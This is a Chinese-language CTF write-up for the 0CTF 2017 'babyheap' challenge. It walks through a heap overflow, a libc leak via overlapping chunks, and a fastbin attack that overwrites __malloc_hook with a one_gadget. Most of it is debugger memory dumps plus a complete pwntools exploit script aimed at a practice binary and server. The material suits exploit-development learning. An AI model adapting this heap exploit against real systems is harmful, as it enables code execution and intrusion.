利用fastbin attack的一道入门题

题目描述

菜单

1
2
3
4
5
6
7
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

allocate操作

最多申请15个
结构体存放三个元素:

  1. 标记是否被使用
  2. 记录size
  3. 指向存放内容的堆的指针

fill操作

可以看到首先会检查index是否在0~15范围内
然后检查结构体标记位,是否为1;检查指向的堆块是否存在
接着根据我们输入的size进行填充,存在堆溢出

free操作

如果标记位为1,把标记和size都置0,free指向堆块的指针并讲指针置0

dump操作

若index在范围内,标记位为1,则输出堆的内容

思路

由于本题无后门 无system,所以需要泄露libc基地址
这里涉及到一个点:当small/large chunk被释放时,其fd和bk指向main_arena中的地址

所以我们可以构造一个small chunk并释放,得到libc附近的地址
但是如何把这个地址打印出来呢?

这里就要通过构造来伪造一个堆块,把地址内容包括进去,从而打印出地址并通过偏移算出libc基地址

接着利用fastbin attack控制malloc_hook,写入onegadget从而getshell

具体步骤

leak libc_base

首先申请两个堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
alloc(0x60)
alloc(0x40)
gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x0000000000000000 0x0000000000000000
0x5646e2c29020: 0x0000000000000000 0x0000000000000000
0x5646e2c29030: 0x0000000000000000 0x0000000000000000
0x5646e2c29040: 0x0000000000000000 0x0000000000000000
0x5646e2c29050: 0x0000000000000000 0x0000000000000000
0x5646e2c29060: 0x0000000000000000 0x0000000000000000
0x5646e2c29070: 0x0000000000000000 0x0000000000000051 -->chunk1
0x5646e2c29080: 0x0000000000000000 0x0000000000000000
0x5646e2c29090: 0x0000000000000000 0x0000000000000000
0x5646e2c290a0: 0x0000000000000000 0x0000000000000000
0x5646e2c290b0: 0x0000000000000000 0x0000000000000000
0x5646e2c290c0: 0x0000000000000000 0x0000000000020f41 -->top chunk
0x5646e2c290d0: 0x0000000000000000 0x0000000000000000

然后利用堆溢出,修改chunk1的size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fill(0, 0x60 + 0x10, 'a' * 0x60 + p64(0) + p64(0x71))
gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x6161616161616161 0x6161616161616161
0x5646e2c29020: 0x6161616161616161 0x6161616161616161
0x5646e2c29030: 0x6161616161616161 0x6161616161616161
0x5646e2c29040: 0x6161616161616161 0x6161616161616161
0x5646e2c29050: 0x6161616161616161 0x6161616161616161
0x5646e2c29060: 0x6161616161616161 0x6161616161616161
0x5646e2c29070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x5646e2c29080: 0x0000000000000000 0x0000000000000000
0x5646e2c29090: 0x0000000000000000 0x0000000000000000
0x5646e2c290a0: 0x0000000000000000 0x0000000000000000
0x5646e2c290b0: 0x0000000000000000 0x0000000000000000
0x5646e2c290c0: 0x0000000000000000 0x0000000000020f41 -->top chunk
0x5646e2c290d0: 0x0000000000000000 0x0000000000000000

申请0x100的堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
alloc(0x100)
gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x6161616161616161 0x6161616161616161
0x5646e2c29020: 0x6161616161616161 0x6161616161616161
0x5646e2c29030: 0x6161616161616161 0x6161616161616161
0x5646e2c29040: 0x6161616161616161 0x6161616161616161
0x5646e2c29050: 0x6161616161616161 0x6161616161616161
0x5646e2c29060: 0x6161616161616161 0x6161616161616161
0x5646e2c29070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x5646e2c29080: 0x0000000000000000 0x0000000000000000
0x5646e2c29090: 0x0000000000000000 0x0000000000000000
0x5646e2c290a0: 0x0000000000000000 0x0000000000000000
0x5646e2c290b0: 0x0000000000000000 0x0000000000000000
0x5646e2c290c0: 0x0000000000000000 0x0000000000000111 -->chunk2
0x5646e2c290d0: 0x0000000000000000 0x0000000000000000
0x5646e2c290e0: 0x0000000000000000 0x0000000000000000

假装chunk1为0x70大小,堆溢出布置其后chunk的pre_size位和size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71))
gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x6161616161616161 0x6161616161616161
0x5646e2c29020: 0x6161616161616161 0x6161616161616161
0x5646e2c29030: 0x6161616161616161 0x6161616161616161
0x5646e2c29040: 0x6161616161616161 0x6161616161616161
0x5646e2c29050: 0x6161616161616161 0x6161616161616161
0x5646e2c29060: 0x6161616161616161 0x6161616161616161
0x5646e2c29070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x5646e2c29080: 0x0000000000000000 0x0000000000000000
0x5646e2c29090: 0x0000000000000000 0x0000000000000000
0x5646e2c290a0: 0x0000000000000000 0x0000000000000000
0x5646e2c290b0: 0x0000000000000000 0x0000000000000000
0x5646e2c290c0: 0x0000000000000000 0x0000000000000111 -->chunk2
0x5646e2c290d0: 0x6363636363636363 0x6363636363636363
0x5646e2c290e0: 0x0000000000000000 0x0000000000000071 -->fake size
0x5646e2c290f0: 0x0000000000000000 0x0000000000000000

接下来释放堆块1,由于我们伪造了其size,并且伪造了next chunk的size(为了绕过检查,free的时候会检查下一个chunk的size位),相当于我们现在释放的是一个0x70大小的堆。
可以看到释放后我们伪造的堆块被放入了0x70size的fastbin中

1
2
3
4
5
6
7
8
9
gef➤  heap bin fast 
─────────────────────────── Fastbins for arena 0x7f0250149b20 ───────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] ← Chunk(addr=0x5646e2c29080, size=0x70, flags=PREV_INUSE)
Fastbins[idx=6, size=0x80] 0x00

再申请相应大小的堆,把我们伪造的堆申请回来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
alloc(0x60)
gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x6161616161616161 0x6161616161616161
0x5646e2c29020: 0x6161616161616161 0x6161616161616161
0x5646e2c29030: 0x6161616161616161 0x6161616161616161
0x5646e2c29040: 0x6161616161616161 0x6161616161616161
0x5646e2c29050: 0x6161616161616161 0x6161616161616161
0x5646e2c29060: 0x6161616161616161 0x6161616161616161
0x5646e2c29070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x5646e2c29080: 0x0000000000000000 0x0000000000000000
0x5646e2c29090: 0x0000000000000000 0x0000000000000000
0x5646e2c290a0: 0x0000000000000000 0x0000000000000000
0x5646e2c290b0: 0x0000000000000000 0x0000000000000000
0x5646e2c290c0: 0x0000000000000000 0x0000000000000000
0x5646e2c290d0: 0x0000000000000000 0x0000000000000000
0x5646e2c290e0: 0x0000000000000000 0x0000000000000071 -->fake size
0x5646e2c290f0: 0x0000000000000000 0x0000000000000000

-------------------------------------------------------
gef➤ heap chunks
Chunk(addr=0x5646e2c29010, size=0x70, flags=PREV_INUSE)
[0x00005646e2c29010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa]
Chunk(addr=0x5646e2c29080, size=0x70, flags=PREV_INUSE)
[0x00005646e2c29080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x5646e2c290f0, size=0x70, flags=PREV_INUSE)
[0x00005646e2c290f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]

由于使用calloc申请的堆,所以内容会被清空,需要我们手动恢复一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fill(1, 0x40 + 0x10, 'b' * 0x40 + p64(0) + p64(0x111))
gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x6161616161616161 0x6161616161616161
0x5646e2c29020: 0x6161616161616161 0x6161616161616161
0x5646e2c29030: 0x6161616161616161 0x6161616161616161
0x5646e2c29040: 0x6161616161616161 0x6161616161616161
0x5646e2c29050: 0x6161616161616161 0x6161616161616161
0x5646e2c29060: 0x6161616161616161 0x6161616161616161
0x5646e2c29070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x5646e2c29080: 0x6262626262626262 0x6262626262626262
0x5646e2c29090: 0x6262626262626262 0x6262626262626262
0x5646e2c290a0: 0x6262626262626262 0x6262626262626262
0x5646e2c290b0: 0x6262626262626262 0x6262626262626262
0x5646e2c290c0: 0x0000000000000000 0x0000000000000111 -->real chunk2
0x5646e2c290d0: 0x0000000000000000 0x0000000000000000
0x5646e2c290e0: 0x0000000000000000 0x0000000000000071 -->fake size
0x5646e2c290f0: 0x0000000000000000 0x0000000000000000

然后申请一个堆防止发生后向合并,再free掉small bin大小的real chunk2,这样就使其fd和bk指针指向了main_aren中的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gef➤  x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x6161616161616161 0x6161616161616161
0x5646e2c29020: 0x6161616161616161 0x6161616161616161
0x5646e2c29030: 0x6161616161616161 0x6161616161616161
0x5646e2c29040: 0x6161616161616161 0x6161616161616161
0x5646e2c29050: 0x6161616161616161 0x6161616161616161
0x5646e2c29060: 0x6161616161616161 0x6161616161616161
0x5646e2c29070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x5646e2c29080: 0x6262626262626262 0x6262626262626262
0x5646e2c29090: 0x6262626262626262 0x6262626262626262
0x5646e2c290a0: 0x6262626262626262 0x6262626262626262
0x5646e2c290b0: 0x6262626262626262 0x6262626262626262
0x5646e2c290c0: 0x0000000000000000 0x0000000000000111 -->freed chunk
0x5646e2c290d0: 0x00007f0250149b78 0x00007f0250149b78 -->libc+offset
0x5646e2c290e0: 0x0000000000000000 0x0000000000000071 -->fake size
0x5646e2c290f0: 0x0000000000000000 0x0000000000000000
......
......
0x5646e2c291c0: 0x0000000000000000 0x0000000000000000
pre_size size
0x5646e2c291d0: 0x0000000000000110 0x0000000000000060 -->chunk2
0x5646e2c291e0: 0x0000000000000000 0x0000000000000000
0x5646e2c291f0: 0x0000000000000000 0x0000000000000000
0x5646e2c29200: 0x0000000000000000 0x0000000000000000
0x5646e2c29210: 0x0000000000000000 0x0000000000000000
0x5646e2c29220: 0x0000000000000000 0x0000000000000000
0x5646e2c29230: 0x0000000000000000 0x0000000000020dd1 -->top chunk
0x5646e2c29240: 0x0000000000000000 0x0000000000000000

接着选择dump chunk1,就能计算得到libc基址了

fasbin_attack

申请两个0x60的堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
alloc(0x60) #2
alloc(0x60) #4
gef➤ x/74gx 0x559b45fc1010-0x10
0x559b45fc1000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x559b45fc1010: 0x6161616161616161 0x6161616161616161
0x559b45fc1020: 0x6161616161616161 0x6161616161616161
0x559b45fc1030: 0x6161616161616161 0x6161616161616161
0x559b45fc1040: 0x6161616161616161 0x6161616161616161
0x559b45fc1050: 0x6161616161616161 0x6161616161616161
0x559b45fc1060: 0x6161616161616161 0x6161616161616161
0x559b45fc1070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x559b45fc1080: 0x6262626262626262 0x6262626262626262
0x559b45fc1090: 0x6262626262626262 0x6262626262626262
0x559b45fc10a0: 0x6262626262626262 0x6262626262626262
0x559b45fc10b0: 0x6262626262626262 0x6262626262626262
0x559b45fc10c0: 0x0000000000000000 0x0000000000000071 -->chunk2
0x559b45fc10d0: 0x0000000000000000 0x0000000000000000
0x559b45fc10e0: 0x0000000000000000 0x0000000000000000
0x559b45fc10f0: 0x0000000000000000 0x0000000000000000
0x559b45fc1100: 0x0000000000000000 0x0000000000000000
0x559b45fc1110: 0x0000000000000000 0x0000000000000000
0x559b45fc1120: 0x0000000000000000 0x0000000000000000
0x559b45fc1130: 0x0000000000000000 0x0000000000000071 -->chunk4
0x559b45fc1140: 0x0000000000000000 0x0000000000000000
0x559b45fc1150: 0x0000000000000000 0x0000000000000000

释放chunk4,其进入fastbin中
堆溢出填充chunk2,更改chunk4的fd指针,再申请一个相应大小的堆块,就能获得一个指向我们想要的地址处的堆
这里我们希望能够修改malloc_hook,查看其附近的内存信息

考虑以0x7f作为size位,使伪造的堆块被通过检查,则应使fd指向&malloc_hook-0x23

从下面的执行效果可以看到伪造的堆块被放入了fastbin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
free(4)
fill(2,0x60+0x18,'a'*0x60 + p64(0)+p64(0x71)+p64(malloc_hook))
gef➤ x/60gx 0x559b45fc1010-0x10
0x559b45fc1000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x559b45fc1010: 0x6161616161616161 0x6161616161616161
0x559b45fc1020: 0x6161616161616161 0x6161616161616161
0x559b45fc1030: 0x6161616161616161 0x6161616161616161
0x559b45fc1040: 0x6161616161616161 0x6161616161616161
0x559b45fc1050: 0x6161616161616161 0x6161616161616161
0x559b45fc1060: 0x6161616161616161 0x6161616161616161
0x559b45fc1070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x559b45fc1080: 0x6262626262626262 0x6262626262626262
0x559b45fc1090: 0x6262626262626262 0x6262626262626262
0x559b45fc10a0: 0x6262626262626262 0x6262626262626262
0x559b45fc10b0: 0x6262626262626262 0x6262626262626262
0x559b45fc10c0: 0x0000000000000000 0x0000000000000071 -->chunk2
0x559b45fc10d0: 0x6161616161616161 0x6161616161616161
0x559b45fc10e0: 0x6161616161616161 0x6161616161616161
0x559b45fc10f0: 0x6161616161616161 0x6161616161616161
0x559b45fc1100: 0x6161616161616161 0x6161616161616161
0x559b45fc1110: 0x6161616161616161 0x6161616161616161
0x559b45fc1120: 0x6161616161616161 0x6161616161616161
0x559b45fc1130: 0x0000000000000000 0x0000000000000071 -->freed
fd
0x559b45fc1140: 0x00007fbd84442aed 0x0000000000000000
0x559b45fc1150: 0x0000000000000000 0x0000000000000000
-------------------------------------------------------
gef➤ heap bin fast
────────────────────────── Fastbins for arena 0x7fbd84442b20 ──────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] ← Chunk(addr=0x559b45fc1140, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x7fbd84442afd, size=0x78, flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) ← [Corrupted chunk at 0xbd84103e20000010]
Fastbins[idx=6, size=0x80] 0x00

接下来连续申请两个0x60大小的堆,就能获得指向malloc_hook前的堆,然后填充并把one_gadget写入malloc_hook处,再执行alloc,就能getshell了

1
2
3
4
alloc(0x60) #4
alloc(0x60) #5
fill(5,0x13+0x8,'a'*0x13+p64(one_gadget))
alloc(0x110)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context(log_level='debug')

DEBUG = 1
if DEBUG:
p = process('./babyheap_0ctf_2017')
libc = ELF('./libc-2.23.so')
else:
p = remote('node3.buuoj.cn',26828)

def alloc(size):
p.recvuntil('Command:')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))

def fill(index, size, content):
p.recvuntil('Command:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Content:')
p.send(content)

def free(index):
p.recvuntil('Command:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))

def dump(index):
p.recvuntil('Command:')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content: \n')
return p.recvline()[:-1]

def leak():
alloc(0x60) #index 0
alloc(0x40) #index 1
fill(0, 0x60 + 0x10, 'a' * 0x60 + p64(0) + p64(0x71))
alloc(0x100)

fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71))
free(1)
alloc(0x60)
fill(1, 0x40 + 0x10, 'b' * 0x40 + p64(0) + p64(0x111))
alloc(0x50)
free(2)
leaked = u64(dump(1)[-8:])
# return libc_base
return leaked - 0x3c4b78

def fastbin_attack(base):
malloc_hook = base + 0x3c4b10 - 0x23
one_gadget = base + 0x4526a
print "[+]malloc_hook ==> ", hex(malloc_hook)
print "[+]one_gadget ==> ", hex(one_gadget)

alloc(0x60) # 2
alloc(0x60) # 4
free(4)
fill(2,0x60+0x18,'a'*0x60 + p64(0)+p64(0x71)+p64(malloc_hook))

alloc(0x60) # 4
alloc(0x60) # 5
#gdb.attach(p)
fill(5,0x13+0x8,'a'*0x13+p64(one_gadget))
alloc(0x110)


libc_base = leak()
log.info("[+]libc_base ==> " + hex(libc_base))
fastbin_attack(libc_base)
p.interactive()